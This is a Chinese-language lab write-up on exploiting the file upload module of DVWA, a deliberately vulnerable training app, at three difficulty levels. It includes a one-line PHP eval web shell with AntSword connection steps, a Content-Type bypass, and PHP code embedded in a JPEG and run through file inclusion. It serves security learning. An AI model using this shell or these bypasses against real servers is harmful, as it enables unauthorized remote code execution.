攻破 DVWA File Upload 模块(Low-Medium-High)
DVWA(Damn Vulnerable Web Application)是一个用于安全测试和学习的 Web 应用程序,包含多个漏洞模块。其中 File Upload 模块常用于测试文件上传攻击。本篇记录在 Low、Medium、High 三个等级下测试。
一、Low
文件上传漏洞可以将恶意的文件上传至服务器,配合文件包含等方式来实现远程代码执行。
可构造一个获取php信息的php文件:
# test.php
<?php phpinfo(); ?>
上传至服务器
在文件包含模块使用参数?page=../../hackable/uploads/test.php即可执行刚上传的PHP文件。
另外可以上传一句话木马:
# shell.php
#该php文件会执行POST请求中参数a的内容
<?php eval($_POST['a']); ?>
可以使用蚁剑工具来连接和控制上传的木马,获取服务器控制权:
在蚁剑中:添加数据->URL地址=http://<IP_ADDRESS>/hackable/uploads/shell.php,连接密码=a
二、Medium
Medium难度只能上传Content-Type为image/jpeg或image/png的文件,且文件大小必须小于100KB
由于只针对http请求中的Content-Type字段进行验证,因此可以通过BurpSuite修改Content-Type字段来绕过验证
三、High
High难度相较于Medium难度增加了后缀名验证,并通过getimagesize函数来验证文件是图片
可通过将php代码挂载到真实图片文件中来绕过验证,并通过本地文件包含漏洞来执行代码
具体而言,可以将php代码嵌入图片文件最末尾、元数据中“如Document-Name”,php解释器会查找文件中的<?php ?>包含的php代码执行
- 准备一个jpeg图片文件,命名为blank.jpeg(可用Windows自带的画图,另存为jpeg)
- 将php代码嵌入图片文件的末尾:
echo '<?php phpinfo(); ?>' >> blank.jpeg或元数据(例如使用exiftool):exiftool -DocumentName="<?php phpinfo(); ?>" blank.jpeg - 将修改后的图片文件上传至服务器
- 在文件包含模块使用参数
?page=../../hackable/uploads/blank.jpeg即可执行刚上传的图片文件中的PHP代码